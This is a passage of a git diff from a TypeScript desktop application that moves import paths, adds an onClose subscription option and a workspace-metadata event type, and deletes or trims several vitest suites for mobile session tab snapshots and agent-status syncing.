-    ).resolves.toBe(true)
-  })
-  it('keeps a grouped capability read behind protocol compatibility', async () => {
-    const status = createCompatibleRuntimeStatusResponse()
-    status.result.minCompatibleRuntimeClientVersion = RUNTIME_PROTOCOL_VERSION + 1
-    runtimeEnvironmentCall.mockResolvedValue(status)
-    await expect(
-      runtimeEnvironmentSupportsCapabilities('env-incompatible', [
-        'agent-session.create-options.v1',
-        'settings.agent-launch.choices.v1'
-      ])
-    ).rejects.toMatchObject({ code: 'runtime_compat_block' })
-  })
-
   it('expires a supported capability verdict so a runtime downgrade is detected', async () => {
     vi.useFakeTimers()
     vi.setSystemTime(new Date(0))
diff --git a/src/renderer/src/runtime/rpc/compatibility/runtime-protocol-compat.ts b/src/renderer/src/runtime/rpc/compatibility/runtime-protocol-compat.ts
index 0b1365fb92a..97cbf8eaa76 100644
--- a/src/renderer/src/runtime/rpc/compatibility/runtime-protocol-compat.ts
+++ b/src/renderer/src/runtime/rpc/compatibility/runtime-protocol-compat.ts
@@ -1,5 +1,5 @@
 import { evaluateRuntimeCompat } from '../../../../../shared/protocol-compat'
-import { describeRuntimeCompatBlock } from '@/lib/runtime-host-copy'
+import { describeRuntimeCompatBlock } from '@/runtime/hosts/display/runtime-host-copy'
 import {
   MIN_COMPATIBLE_RUNTIME_SERVER_VERSION,
   RUNTIME_PROTOCOL_VERSION
diff --git a/src/renderer/src/runtime/rpc/subscriptions/runtime-client-events.ts b/src/renderer/src/runtime/rpc/subscriptions/runtime-client-events.ts
index 48eecbbd24f..e461cc6284c 100644
--- a/src/renderer/src/runtime/rpc/subscriptions/runtime-client-events.ts
+++ b/src/renderer/src/runtime/rpc/subscriptions/runtime-client-events.ts
@@ -21,7 +21,7 @@ export async function subscribeRuntimeClientEvents(
   // Control-outage events are lost, not queued. First replay-tagged response is the only signal to resync event-derived mirrors such as per-environment SSH state.
   onReplayedAfterReconnect?: () => void,
   // Managed SSH hosts reach this desktop's browser through the desktop browser bridge instead.
-  options: { hostsBrowserPages: boolean } = { hostsBrowserPages: false }
+  options: { hostsBrowserPages: boolean; onClose?: () => void } = { hostsBrowserPages: false }
 ): Promise<RuntimeClientEventSubscription> {
   const handle = await subscribeRuntimeEnvironment(
     {
@@ -42,7 +42,8 @@ export async function subscribeRuntimeClientEvents(
           onReplayedAfterReconnect
         )
       },
-      onError
+      onError,
+      onClose: options.onClose
     }
   )
   return { unsubscribe: handle.unsubscribe }
@@ -103,6 +104,7 @@ function isRuntimeClientEvent(
       isNotificationAttentionAcknowledgement(message.acknowledgement)) ||
     message.type === 'reposChanged' ||
     message.type === 'worktreesChanged' ||
+    message.type === 'workspaceMetadataSet' ||
     message.type === 'nativeChatLaunchDraftResolved' ||
     message.type === 'terminalSideEffects' ||
     message.type === 'sshStateChanged' ||
diff --git a/src/renderer/src/runtime/rpc/targets/use-worktree-runtime-target.ts b/src/renderer/src/runtime/rpc/targets/use-worktree-runtime-target.ts
index 601b15e4732..158eae3ea21 100644
--- a/src/renderer/src/runtime/rpc/targets/use-worktree-runtime-target.ts
+++ b/src/renderer/src/runtime/rpc/targets/use-worktree-runtime-target.ts
@@ -2,7 +2,7 @@ import { useMemo } from 'react'
 import { useAppStore } from '../../../store/index'
 import { getExecutionHostIdForWorktree } from '../../../lib/workspace/ownership/worktree-runtime-owner'
 import { getRuntimeTargetForFileOwner } from '../../../lib/files/access/file-owner-runtime-target'
-import { getActiveWorkspaceOwnerTarget } from '../../../lib/resolved-worktree-execution-host'
+import { getActiveWorkspaceOwnerTarget } from '../../../lib/workspace/ownership/resolved-worktree-execution-host'
 import {
   runtimeRpcTargetForAuthorityKey,
   runtimeTargetForOwnerEnvironment,
diff --git a/src/renderer/src/runtime/source-control/forge/forge-credential-target.ts b/src/renderer/src/runtime/source-control/forge/forge-credential-target.ts
index abcd94743b6..0c3943d5bc0 100644
--- a/src/renderer/src/runtime/source-control/forge/forge-credential-target.ts
+++ b/src/renderer/src/runtime/source-control/forge/forge-credential-target.ts
@@ -1,10 +1,10 @@
 import { getRepoExecutionHostId } from '../../../../../shared/execution-host'
 import { parseHostAuthorityKey } from '../../../../../shared/host-authority'
-import { reviewRepositoryMatchesWorkspace } from '@/lib/review-owner'
+import { reviewRepositoryMatchesWorkspace } from '@/lib/source-control/review/review-owner'
+import { translate } from '@/i18n/i18n'
 import type { Repo } from '../../../../../shared/repo-types'
 import type { Worktree } from '../../../../../shared/worktree/types'
 import type { TaskSourceContext } from '../../../../../shared/work-items/task-source-context'
-import { translate } from '@/i18n/i18n'
 import type { RuntimeClientTarget } from '../../../../../shared/runtime-client-target'
 
 export type ForgeRepoSelector = {
diff --git a/src/renderer/src/runtime/source-control/git/runtime-git-generation-client.ts b/src/renderer/src/runtime/source-control/git/runtime-git-generation-client.ts
index 4dacf9bd74d..e413f975e2e 100644
--- a/src/renderer/src/runtime/source-control/git/runtime-git-generation-client.ts
+++ b/src/renderer/src/runtime/source-control/git/runtime-git-generation-client.ts
@@ -1,6 +1,6 @@
 import { getRepoIdFromWorktreeId } from '../../../../../shared/worktree/id'
 import { TEXT_GENERATION_CLIENT_TIMEOUT_MS } from '../../../../../shared/text-generation-client-timeout'
-import { localizeTextGenerationResult } from '@/lib/text-generation-error-copy'
+import { localizeTextGenerationResult } from '@/lib/text-generation/text-generation-error-copy'
 import { antigravityGenerationCompatibilityError } from './antigravity-generation-compatibility'
 import {
   getRuntimeCommitMessageSettings,
diff --git a/src/renderer/src/runtime/sync-runtime-graph/graph-publication.ts b/src/renderer/src/runtime/sync-runtime-graph/graph-publication.ts
index c39a8539766..77c7c9899d2 100644
--- a/src/renderer/src/runtime/sync-runtime-graph/graph-publication.ts
+++ b/src/renderer/src/runtime/sync-runtime-graph/graph-publication.ts
@@ -5,13 +5,8 @@ import {
   getParkedTerminalWatcherPaneIdsByPtyId
 } from '@/components/terminal-pane/parking/output-watchers/terminal-parked-watcher-registry'
 import { serializePaneTree } from '@/components/terminal-pane/layout/terminal-layout-dom-serialization'
-import { getSystemPrefersDark } from '@/lib/terminal-theme'
-import type {
-  RuntimeMobileSessionTabsSnapshot,
-  RuntimeRendererSyncWindowGraph
-} from '../../../../shared/runtime-session-contracts'
+import { getSystemPrefersDark } from '@/lib/terminal/appearance/terminal-theme'
 import { isTerminalLeafId } from '../../../../shared/workspace-layout/stable-pane-id'
-import type { TerminalTab } from '../../../../shared/workspace-layout/terminal-tab-types'
 import { applyNativeChatLaunchDraftResolved } from '../native-chat/launch-drafts/native-chat-launch-draft-runtime-resolution'
 import { resolveTerminalLayoutRoot } from '../hosted-terminals/actions/remote-terminal-layout-resolution'
 import { buildMobileSessionTabSnapshots } from './mobile-session-snapshots'
@@ -38,6 +33,11 @@ import {
 import { ORCA_SIDEBAR_INPUTS_IS_MAIN } from '../../../../shared/sidebar-inputs-switch'
 import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../shared/layout-owner-switch'
 import { changedActiveGroups } from './active-group-publication'
+import type {
+  RuntimeMobileSessionTabsSnapshot,
+  RuntimeRendererSyncWindowGraph
+} from '../../../../shared/runtime-session-contracts'
+import type { TerminalTab } from '../../../../shared/workspace-layout/terminal-tab-types'
 
 export async function syncRuntimeGraph(): Promise<void> {
   if (!graphState.syncEnabled || !graphState.getStoreState) {
diff --git a/src/renderer/src/runtime/sync-runtime-graph/mobile-session-snapshots.ts b/src/renderer/src/runtime/sync-runtime-graph/mobile-session-snapshots.ts
index 44243754905..935bb51d37e 100644
--- a/src/renderer/src/runtime/sync-runtime-graph/mobile-session-snapshots.ts
+++ b/src/renderer/src/runtime/sync-runtime-graph/mobile-session-snapshots.ts
@@ -1,7 +1,4 @@
-import { getSystemPrefersDark } from '@/lib/terminal-theme'
-import type { AppState } from '@/store/types'
-import type { RuntimeMobileSessionTabsSnapshot } from '../../../../shared/runtime-types'
-import type { RuntimeMobileSessionSnapshotTab } from '../../../../shared/runtime-mobile-session-tab-contracts'
+import { getSystemPrefersDark } from '@/lib/terminal/appearance/terminal-theme'
 import { parseWorkspaceKey } from '../../../../shared/workspace-scope'
 import {
   collectAmbiguousTerminalTabIds,
@@ -30,10 +27,13 @@ import {
 import { buildMobileTerminalSurfaceTabs } from './mobile-session-terminal-tabs'
 import { buildMobileMarkdownTab, buildMobileFileTab } from './mobile-session-editor-tabs'
 import { buildMobileBrowserTab } from './mobile-session-browser-tabs'
-import type { MobileSessionPublicationInputs } from './types'
 import { canReuseMobileSessionSnapshot } from './mobile-session-capture'
 import { selectFolderWorkspaces } from '@/store/workspaces/catalog/workspace-record-fields'
 import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../shared/layout-owner-switch'
+import type { AppState } from '@/store/types'
+import type { RuntimeMobileSessionTabsSnapshot } from '../../../../shared/runtime-types'
+import type { RuntimeMobileSessionSnapshotTab } from '../../../../shared/runtime-mobile-session-tab-contracts'
+import type { MobileSessionPublicationInputs } from './types'
 
 export function buildMobileSessionTabSnapshots(
   state: AppState,
diff --git a/src/renderer/src/runtime/sync-runtime-graph/mobile-terminal-theme.ts b/src/renderer/src/runtime/sync-runtime-graph/mobile-terminal-theme.ts
index 5f435055320..1733bf78d32 100644
--- a/src/renderer/src/runtime/sync-runtime-graph/mobile-terminal-theme.ts
+++ b/src/renderer/src/runtime/sync-runtime-graph/mobile-terminal-theme.ts
@@ -1,8 +1,11 @@
-import { getSystemPrefersDark, resolveEffectiveTerminalAppearance } from '@/lib/terminal-theme'
-import type { AppState } from '@/store/types'
-import type { RuntimeMobileTerminalTheme } from '../../../../shared/runtime-mobile-session-tab-contracts'
+import {
+  getSystemPrefersDark,
+  resolveEffectiveTerminalAppearance
+} from '@/lib/terminal/appearance/terminal-theme'
 import '../../../../shared/terminal-themes/terminal-contrast-correction'
 import { normalizeTerminalMinimumContrastRatio } from '../../../../shared/terminal-themes/terminal-minimum-contrast-settings'
+import type { AppState } from '@/store/types'
+import type { RuntimeMobileTerminalTheme } from '../../../../shared/runtime-mobile-session-tab-contracts'
 
 function hexToRgba(hex: string, alpha: number): string {
   let clean = hex.replace('#', '')
diff --git a/src/renderer/src/runtime/sync-runtime-graph/sync-key.ts b/src/renderer/src/runtime/sync-runtime-graph/sync-key.ts
index 4cbf6585c44..f1d8bdb95ba 100644
--- a/src/renderer/src/runtime/sync-runtime-graph/sync-key.ts
+++ b/src/renderer/src/runtime/sync-runtime-graph/sync-key.ts
@@ -1,5 +1,4 @@
-import { getSystemPrefersDark } from '@/lib/terminal-theme'
-import type { AppState } from '@/store/types'
+import { getSystemPrefersDark } from '@/lib/terminal/appearance/terminal-theme'
 import {
   EMPTY_ACTIVE_BROWSER_TAB_ID_BY_WORKTREE,
   EMPTY_AGENT_STATUS_BY_PANE_KEY,
@@ -17,8 +16,9 @@ import {
   getBrowserTabsByWorktree
 } from './sync-projections'
 import { resolveMobileTerminalTheme } from './mobile-terminal-theme'
-import type { RuntimeMobileSessionSyncKey } from './types'
 import { selectFolderWorkspaces } from '@/store/workspaces/catalog/workspace-record-fields'
+import type { AppState } from '@/store/types'
+import type { RuntimeMobileSessionSyncKey } from './types'
 
 function getTerminalThemeSystemPrefersDark(
   state: Pick<AppState, 'settings'>,
diff --git a/src/renderer/src/runtime/sync-runtime-graph/sync-runtime-graph-editor-diff-tabs.test.ts b/src/renderer/src/runtime/sync-runtime-graph/sync-runtime-graph-editor-diff-tabs.test.ts
deleted file mode 100644
index 3718437523f..00000000000
--- a/src/renderer/src/runtime/sync-runtime-graph/sync-runtime-graph-editor-diff-tabs.test.ts
+++ /dev/null
@@ -1,393 +0,0 @@
-import { describe, expect, it } from 'vitest'
-import '../../../../shared/layout-owner-switch'
-import { buildMobileSessionTabSnapshots } from './mobile-session-snapshots'
-import { makeState } from './testing/sync-runtime-graph-test-harness'
-import type { AppState } from '../../store/types'
-
-function collectLayoutGroupIds(node: unknown, into: string[] = []): string[] {
-  if (!node || typeof node !== 'object') {
-    return into
-  }
-  const candidate = node as { type?: string; groupId?: string; first?: unknown; second?: unknown }
-  if (candidate.type === 'leaf' && candidate.groupId) {
-    into.push(candidate.groupId)
-    return into
-  }
-  collectLayoutGroupIds(candidate.first, into)
-  collectLayoutGroupIds(candidate.second, into)
-  return into
-}
-
-describe('buildMobileSessionTabSnapshots', () => {
-  // Legacy navigation tests only per-tab guards; grouped projection must also remove metadata referencing withheld document tabs.
-  it('keeps a workspace document out of published tab groups as well as the tab list', () => {
-    const docWorkspaceId = 'browser-doc'
-    const urlWorkspaceId = 'browser-url'
-    const state = makeState({
-      // The document's group is the active one: if it survived anywhere, this is where it shows.
-      activeGroupIdByWorktree: { 'wt-1': 'group-left' },
-      groupsByWorktree: {
-        'wt-1': [
-          {
-            id: 'group-left',
-            activeTabId: 'unified-doc',
-            tabOrder: ['unified-doc'],
-            recentTabIds: ['unified-doc']
-          },
-          {
-            id: 'group-right',
-            activeTabId: 'unified-url',
-            tabOrder: ['unified-url'],
-            recentTabIds: ['unified-url']
-          }
-        ]
-      } as unknown as AppState['groupsByWorktree'],
-      layoutByWorktree: {
-        'wt-1': {
-          type: 'split',
-          direction: 'horizontal',
-          first: { type: 'leaf', groupId: 'group-left' },
-          second: { type: 'leaf', groupId: 'group-right' }
-        }
-      } as unknown as AppState['layoutByWorktree'],
-      unifiedTabsByWorktree: {
-        'wt-1': [
-          {
-            id: 'unified-doc',
-            groupId: 'group-left',
-            contentType: 'browser',
-            entityId: docWorkspaceId,
-            title: 'report.html'
-          },
-          {
-            id: 'unified-url',
-            groupId: 'group-right',
-            contentType: 'browser',
-            entityId: urlWorkspaceId,
-            title: 'Example'
-          }
-        ]
-      } as unknown as AppState['unifiedTabsByWorktree'],
-      browserTabsByWorktree: {
-        'wt-1': [
-          {
-            id: docWorkspaceId,
-            worktreeId: 'wt-1',
-            activePageId: 'page-doc',
-            pageIds: ['page-doc'],
-            url: 'data:text/html,',
-            title: 'report.html',
-            loading: false,
-            faviconUrl: null,
-            canGoBack: false,
-            canGoForward: false,
-            loadError: null,
-            createdAt: 1,
-            docLocation: {
-              kind: 'workspace-doc',
-              worktreeId: 'wt-1',
-              filePath: '/repo/docs/report.html'
-            }
-          },
-          {
-            id: urlWorkspaceId,
-            worktreeId: 'wt-1',
-            activePageId: 'page-url',
-            pageIds: ['page-url'],
-            url: 'https://example.com/',
-            title: 'Example',
-            loading: false,
-            faviconUrl: null,
-            canGoBack: false,
-            canGoForward: false,
-            loadError: null,
-            createdAt: 2
-          }
-        ]
-      }
-    } as unknown as Parameters<typeof makeState>[0])
-
-    const snapshot = buildMobileSessionTabSnapshots(state)[0]
-
-    // Require grouped URL output so broken browser/group publishing cannot pass vacuously.
-    expect(snapshot?.tabs).toMatchObject([{ type: 'browser', browserWorkspaceId: urlWorkspaceId }])
-    expect(snapshot?.tabGroups).toMatchObject([{ id: 'group-right', tabOrder: ['unified-url'] }])
-    // Every published group reference must exist in published tab list, whatever caused exclusion.
-    const publishedTabIds = new Set(snapshot?.tabs.map((tab) => tab.id) ?? [])
-    for (const group of snapshot?.tabGroups ?? []) {
-      expect(group.tabOrder.filter((tabId) => !publishedTabIds.has(tabId))).toEqual([])
-      expect((group.recentTabIds ?? []).filter((tabId) => !publishedTabIds.has(tabId))).toEqual([])
-      expect(group.activeTabId === null || publishedTabIds.has(group.activeTabId)).toBe(true)
-    }
-    expect(snapshot?.activeTabId === null || publishedTabIds.has(snapshot.activeTabId)).toBe(true)
-    // Withheld groups must also leave layout tree or mobile renders empty splits.
-    expect(collectLayoutGroupIds(snapshot?.tabGroupLayout)).toEqual(['group-right'])
-  })
-
-  it('publishes a missing non-markdown editor with its unified tab id and split group', () => {
-    const fileId = '/repo/src/app.ts'
-    const state = makeState({
-      activeGroupIdByWorktree: { 'wt-1': 'group-left' },
-      groupsByWorktree: {
-        'wt-1': [
-          {
-            id: 'group-left',
-            activeTabId: 'browser-tab-1',
-            tabOrder: ['browser-tab-1'],
-            recentTabIds: ['browser-tab-1']
-          },
-          {
-            id: 'group-right',
-            activeTabId: 'editor-tab-1',
-            tabOrder: [],
-            recentTabIds: []
-          }
-        ]
-      } as unknown as AppState['groupsByWorktree'],
-      layoutByWorktree: {
-        'wt-1': {
-          type: 'split',
-          direction: 'horizontal',
-          first: { type: 'leaf', groupId: 'group-left' },
-          second: { type: 'leaf', groupId: 'group-right' }
-        }
-      } as unknown as AppState['layoutByWorktree'],
-      unifiedTabsByWorktree: {
-        'wt-1': [
-          {
-            id: 'browser-tab-1',
-            groupId: 'group-left',
-            contentType: 'browser',
-            entityId: 'browser-1',
-            title: 'Docs'
-          },
-          {
-            id: 'editor-tab-1',
-            groupId: 'group-right',
-            contentType: 'editor',
-            entityId: fileId,
-            title: 'app.ts'
-          }
-        ]
-      } as unknown as AppState['unifiedTabsByWorktree'],
-      browserTabsByWorktree: {
-        'wt-1': [
-          {
-            id: 'browser-1',
-            worktreeId: 'wt-1',
-            activePageId: 'page-1',
-            pageIds: ['page-1'],
-            url: 'https://example.test',
-            title: 'Docs',
-            loading: false,
-            faviconUrl: null,
-            canGoBack: false,
-            canGoForward: false,
-            loadError: null,
-            createdAt: 1
-          }
-        ]
-      } as unknown as AppState['browserTabsByWorktree'],
-      browserPagesByWorkspace: {
-        'browser-1': [
-          {
-            id: 'page-1',
-            workspaceId: 'browser-1',
-            worktreeId: 'wt-1',
-            url: 'https://example.test',
-            title: 'Docs',
-            loading: false,
-            faviconUrl: null,
-            canGoBack: false,
-            canGoForward: false,
-            loadError: null,
-            createdAt: 1
-          }
-        ]
-      } as unknown as AppState['browserPagesByWorkspace'],
-      openFiles: [
-        {
-          id: fileId,
-          filePath: fileId,
-          relativePath: 'src/app.ts',
-          worktreeId: 'wt-1',
-          language: 'typescript',
-          mode: 'edit',
-          isDirty: false
-        }
-      ]
-    })
-
-    const snapshot = buildMobileSessionTabSnapshots(state)[0]
-
-    expect(snapshot?.tabs.map((tab) => tab.id)).toEqual(['browser-tab-1', 'editor-tab-1'])
-    expect(snapshot?.tabs.at(-1)).toMatchObject({
-      type: 'file',
-      id: 'editor-tab-1',
-      relativePath: 'src/app.ts',
-      isActive: false
-    })
-    expect(snapshot?.activeTabId).toBe('browser-tab-1')
-    expect(snapshot?.tabGroups).toEqual([
-      {
-        id: 'group-left',
-        activeTabId: 'browser-tab-1',
-        tabOrder: ['browser-tab-1'],
-        recentTabIds: ['browser-tab-1']
-      },
-      {
-        id: 'group-right',
-        activeTabId: 'editor-tab-1',
-        tabOrder: ['editor-tab-1'],
-        recentTabIds: []
-      }
-    ])
-    expect(snapshot?.tabGroupLayout).toEqual({
-      type: 'split',
-      direction: 'horizontal',
-      first: { type: 'leaf', groupId: 'group-left' },
-      second: { type: 'leaf', groupId: 'group-right' }
-    })
-  })
-
-  it('recovers a duplicate split editor tab for an already-emitted file id', () => {
-    const fileId = '/repo/src/app.ts'
-    const state = makeState({
-      activeGroupIdByWorktree: { 'wt-1': 'group-left' },
-      groupsByWorktree: {
-        'wt-1': [
-          {
-            id: 'group-left',
-            activeTabId: 'editor-left',
-            tabOrder: ['editor-left'],
-            recentTabIds: ['editor-left']
-          },
-          {
-            id: 'group-right',
-            activeTabId: 'editor-right',
-            tabOrder: [],
-            recentTabIds: []
-          }
-        ]
-      } as unknown as AppState['groupsByWorktree'],
-      layoutByWorktree: {
-        'wt-1': {
-          type: 'split',
-          direction: 'horizontal',
-          first: { type: 'leaf', groupId: 'group-left' },
-          second: { type: 'leaf', groupId: 'group-right' }
-        }
-      } as unknown as AppState['layoutByWorktree'],
-      unifiedTabsByWorktree: {
-        'wt-1': [
-          {
-            id: 'editor-left',
-            groupId: 'group-left',
-            contentType: 'editor',
-            entityId: fileId,
-            title: 'app.ts'
-          },
-          {
-            id: 'editor-right',
-            groupId: 'group-right',
-            contentType: 'editor',
-            entityId: fileId,
-            title: 'app.ts'
-          }
-        ]
-      } as unknown as AppState['unifiedTabsByWorktree'],
-      openFiles: [
-        {
-          id: fileId,
-          filePath: fileId,
-          relativePath: 'src/app.ts',
-          worktreeId: 'wt-1',
-          language: 'typescript',
-          mode: 'edit',
-          isDirty: false
-        }
-      ]
-    })
-
-    const snapshot = buildMobileSessionTabSnapshots(state)[0]
-
-    expect(snapshot?.tabs).toMatchObject([
-      { type: 'file', id: 'editor-left', relativePath: 'src/app.ts' },
-      { type: 'file', id: 'editor-right', relativePath: 'src/app.ts' }
-    ])
-    expect(snapshot?.tabGroups).toEqual([
-      {
-        id: 'group-left',
-        activeTabId: 'editor-left',
-        tabOrder: ['editor-left'],
-        recentTabIds: ['editor-left']
-      },
-      {
-        id: 'group-right',
-        activeTabId: 'editor-right',
-        tabOrder: ['editor-right'],
-        recentTabIds: []
-      }
-    ])
-    expect(snapshot?.tabGroupLayout).toEqual({
-      type: 'split',
-      direction: 'horizontal',
-      first: { type: 'leaf', groupId: 'group-left' },
-      second: { type: 'leaf', groupId: 'group-right' }
-    })
-  })
-
-  it('keeps duplicate file ids scoped to their worktree', () => {
-    const sharedRemotePath = '/home/dev/project/README.md'
-    const previewId = `markdown-preview::${sharedRemotePath}`
-    const state = makeState({
-      browserTabsByWorktree: {},
-      tabBarOrderByWorktree: {
-        'wt-1': [sharedRemotePath, previewId],
-        'wt-2': [sharedRemotePath]
-      },
-      openFiles: [
-        {
-          id: sharedRemotePath,
-          filePath: sharedRemotePath,
-          relativePath: 'docs/wt-one.md',
-          worktreeId: 'wt-1',
-          language: 'markdown',
-          mode: 'edit',
-          isDirty: true
-        },
-        {
-          id: sharedRemotePath,
-          filePath: sharedRemotePath,
-          relativePath: 'docs/wt-two.md',
-          worktreeId: 'wt-2',
-          language: 'markdown',
-          mode: 'edit',
-          isDirty: false
-        },
-        {
-          id: previewId,
-          filePath: sharedRemotePath,
-          relativePath: 'docs/wt-one.md',
-          worktreeId: 'wt-1',
-          language: 'markdown',
-          mode: 'markdown-preview',
-          markdownPreviewSourceFileId: sharedRemotePath,
-          isDirty: false
-        }
-      ]
-    })
-
-    const snapshotsByWorktree = new Map(
-      buildMobileSessionTabSnapshots(state).map((snapshot) => [snapshot.worktree, snapshot])
-    )
-
-    expect(snapshotsByWorktree.get('wt-1')?.tabs).toMatchObject([
-      { type: 'markdown', title: 'wt-one.md', sourceRelativePath: 'docs/wt-one.md' },
-      { type: 'markdown', title: 'wt-one.md', sourceRelativePath: 'docs/wt-one.md' }
-    ])
-    expect(snapshotsByWorktree.get('wt-2')?.tabs).toMatchObject([
-      { type: 'markdown', title: 'wt-two.md', sourceRelativePath: 'docs/wt-two.md' }
-    ])
-  })
-})
diff --git a/src/renderer/src/runtime/sync-runtime-graph/terminal-group-grid-sizes.ts b/src/renderer/src/runtime/sync-runtime-graph/terminal-group-grid-sizes.ts
index 6a6e7cf0d39..efe32b1298b 100644
--- a/src/renderer/src/runtime/sync-runtime-graph/terminal-group-grid-sizes.ts
+++ b/src/renderer/src/runtime/sync-runtime-graph/terminal-group-grid-sizes.ts
@@ -1,8 +1,8 @@
 import {
   terminalGridSizeForBox,
   type TerminalFitMetrics
-} from '@/lib/pane-manager/terminal-grid-size-for-box'
-import { readTerminalStableCellSize } from '@/lib/pane-manager/terminal-stable-cell-fit-addon'
+} from '@/lib/pane-manager/terminal-fit/terminal-grid-size-for-box'
+import { readTerminalStableCellSize } from '@/lib/pane-manager/terminal-fit/terminal-stable-cell-fit-addon'
 import { mountedTerminalTabEntries } from '../hosted-terminals/mounted-surfaces/mounted-terminal-tab-registry'
 
 type GridSize = { cols: number; rows: number }
diff --git a/src/renderer/src/runtime/web-session-tabs-sync/agent-status/mirrored-agent-status-clock-skew.test.ts b/src/renderer/src/runtime/web-session-tabs-sync/agent-status/mirrored-agent-status-clock-skew.test.ts
index 0b7aca42250..ee03e5a4a95 100644
--- a/src/renderer/src/runtime/web-session-tabs-sync/agent-status/mirrored-agent-status-clock-skew.test.ts
+++ b/src/renderer/src/runtime/web-session-tabs-sync/agent-status/mirrored-agent-status-clock-skew.test.ts
@@ -151,16 +151,4 @@ describe('a mirrored remote row decays on the replica clock, not the host clock'
 
     expect(mirroredRowIsFreshAt(store, T0 + AGENT_STATUS_STALE_AFTER_MS + 1)).toBe(false)
   })
-
-  it('restarts the window when the host reports genuinely new evidence', () => {
-    const store = seedPairedClientStore()
-    applyChangedHostSnapshot(store, T0 + HOST_SKEW_MS, T0, 1)
-    const laterClientNow = T0 + AGENT_STATUS_STALE_AFTER_MS - 1_000
-    applyChangedHostSnapshot(store, T0 + HOST_SKEW_MS + 60_000, laterClientNow, 2)
-
-    expect(mirroredRowIsFreshAt(store, laterClientNow + AGENT_STATUS_STALE_AFTER_MS - 1)).toBe(true)
-    expect(mirroredRowIsFreshAt(store, laterClientNow + AGENT_STATUS_STALE_AFTER_MS + 1)).toBe(
-      false
-    )
-  })
 })
diff --git a/src/renderer/src/runtime/web-session-tabs-sync/agent-status/paired-reconnect-sidebar-agent-count.test.ts b/src/renderer/src/runtime/web-session-tabs-sync/agent-status/paired-reconnect-sidebar-agent-count.test.ts
deleted file mode 100644
index f81b8eceadc..00000000000
--- a/src/renderer/src/runtime/web-session-tabs-sync/agent-status/paired-reconnect-sidebar-agent-count.test.ts
+++ /dev/null
@@ -1,279 +0,0 @@
-// After sleep beyond freshness, reconnect snapshots lacking host status erased client-OSC-owned agent rows despite live PTYs (STA-3107). Preserve rows and decay to idle like local panes. Drive real mirror/sidebar builder with fake clocks; row/tab inventory, not elapsed time, is the oracle.
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import type { RuntimeMobileSessionTabsResult } from '../../../../../shared/runtime-session-contracts'
-import { AGENT_STATUS_STALE_AFTER_MS } from '../../../../../shared/agent-status/contracts/agent-status-freshness'
-import { makePaneKey } from '../../../../../shared/workspace-layout/stable-pane-id'
-import { toWebTerminalSurfaceTabId } from '../../../../../shared/workspace-layout/terminal-surface-id'
-import { getDefaultSettings } from '../../../../../shared/constants'
-import type { AppState } from '../../../store/types'
-import { createTestStore, seedStore } from '../../../store/testing/app-store-test-fixture'
-import { makeWorktree } from '../../../store/slices/worktrees/worktree.test-fixture'
-import {
-  markRendererOwnedAgentStatusWrite,
-  registerRendererOwnedAgentStatusPane,
-  resetRendererOwnedAgentStatusPanesForTests
-} from '../../../components/terminal-pane/agent-status/renderer-owned-agent-status-registry'
-import { applyFreshWebSessionTabsSnapshot } from '../snapshot-api'
-import { resetWebSessionTabsSnapshotFreshnessForTests } from '../tracking-lifecycle'
-import { buildWorktreeAgentRows } from '../../../components/sidebar/workspace-card/activity/worktree-agent-rows'
-import {
-  selectLiveAgentStatusEntriesForWorktree,
-  selectRetainedAgentEntriesForWorktree
-} from '../../../components/sidebar/workspace-card/activity/worktree-agent-row-selectors'
-import {
-  selectLivePtyIdsForWorktree,
-  selectRuntimePaneTitlesForWorktree
-} from '../../../components/sidebar/workspace-card/activity/worktree-card-status-inputs'
-
-// Mock singleton import; this harness drives createTestStore like sibling mirror suites.
-vi.mock('../../../store/index', () => ({
-  useAppStore: {
-    setState: vi.fn(),
-    getState: vi.fn(() => ({})),
-    subscribe: vi.fn(() => () => {})
-  }
-}))
-
-const WT = 'repo1::/path/wt1'
-const ENV = 'web-env-1'
-const HOST_EPOCH = 'host-epoch-1'
-const T0 = 1_700_000_000_000
-/** The laptop was closed well past the agent-status freshness boundary. */
-const LONG_SLEEP_MS = AGENT_STATUS_STALE_AFTER_MS * 6
-
-type TestStore = ReturnType<typeof createTestStore>
-
-type PaneSpec = {
-  hostTabId: string
-  leafId: string
-  agentType: 'claude' | 'omp'
-  /** Which writer publishes this pane's agent status. */
-  statusSource: 'host-hook' | 'client-bytes'
-  /** Host-resolved surface title. */
-  title: string
-}
-
-function leafUuid(n: number): string {
-  return `1111111${n}-1111-4111-8111-111111111111`
-}
-
-/**
- * Six OMP/Claude panes matching the report. Host-hook panes model an agent the
- * host tracks itself; client-bytes panes model the OSC-only panes whose status
- * only this renderer ever parses (the host publishes no agentStatus for them).
- */
-const PANES: PaneSpec[] = [
-  {
-    hostTabId: 'host-tab-1',
-    leafId: leafUuid(1),
-    agentType: 'omp',
-    statusSource: 'host-hook',
-    title: 'OMP'
-  },
-  {
-    hostTabId: 'host-tab-2',
-    leafId: leafUuid(2),
-    agentType: 'omp',
-    statusSource: 'host-hook',
-    title: 'OMP'
-  },
-  {
-    hostTabId: 'host-tab-3',
-    leafId: leafUuid(3),
-    agentType: 'omp',
-    statusSource: 'client-bytes',
-    title: 'Terminal'
-  },
-  {
-    hostTabId: 'host-tab-4',
-    leafId: leafUuid(4),
-    agentType: 'omp',
-    statusSource: 'client-bytes',
-    title: 'Terminal'
-  },
-  {
-    hostTabId: 'host-tab-5',
-    leafId: leafUuid(5),
-    agentType: 'claude',
-    statusSource: 'host-hook',
-    title: 'Claude Code'
-  },
-  {
-    hostTabId: 'host-tab-6',
-    leafId: leafUuid(6),
-    agentType: 'claude',
-    statusSource: 'client-bytes',
-    title: 'Terminal'
-  }
-]
-
-const CLIENT_OWNED_PANES = PANES.filter((pane) => pane.statusSource === 'client-bytes')
-
-function mirrorTabId(pane: PaneSpec): string {
-  return toWebTerminalSurfaceTabId(pane.hostTabId)
-}
-
-function mirrorPaneKey(pane: PaneSpec): string {
-  return makePaneKey(mirrorTabId(pane), pane.leafId)
-}
-
-/** `hostNow` stamps host-side status: the remote machine keeps working while the laptop is closed. */
-function makeHostSnapshot(args: {
-  snapshotVersion: number
-  hostNow: number
-}): RuntimeMobileSessionTabsResult {
-  return {
-    worktree: WT,
-    publicationEpoch: HOST_EPOCH,
-    snapshotVersion: args.snapshotVersion,
-    activeGroupId: 'host-group-1',
-    activeTabId: `${PANES[0]!.hostTabId}::${PANES[0]!.leafId}`,
-    activeTabType: 'terminal',
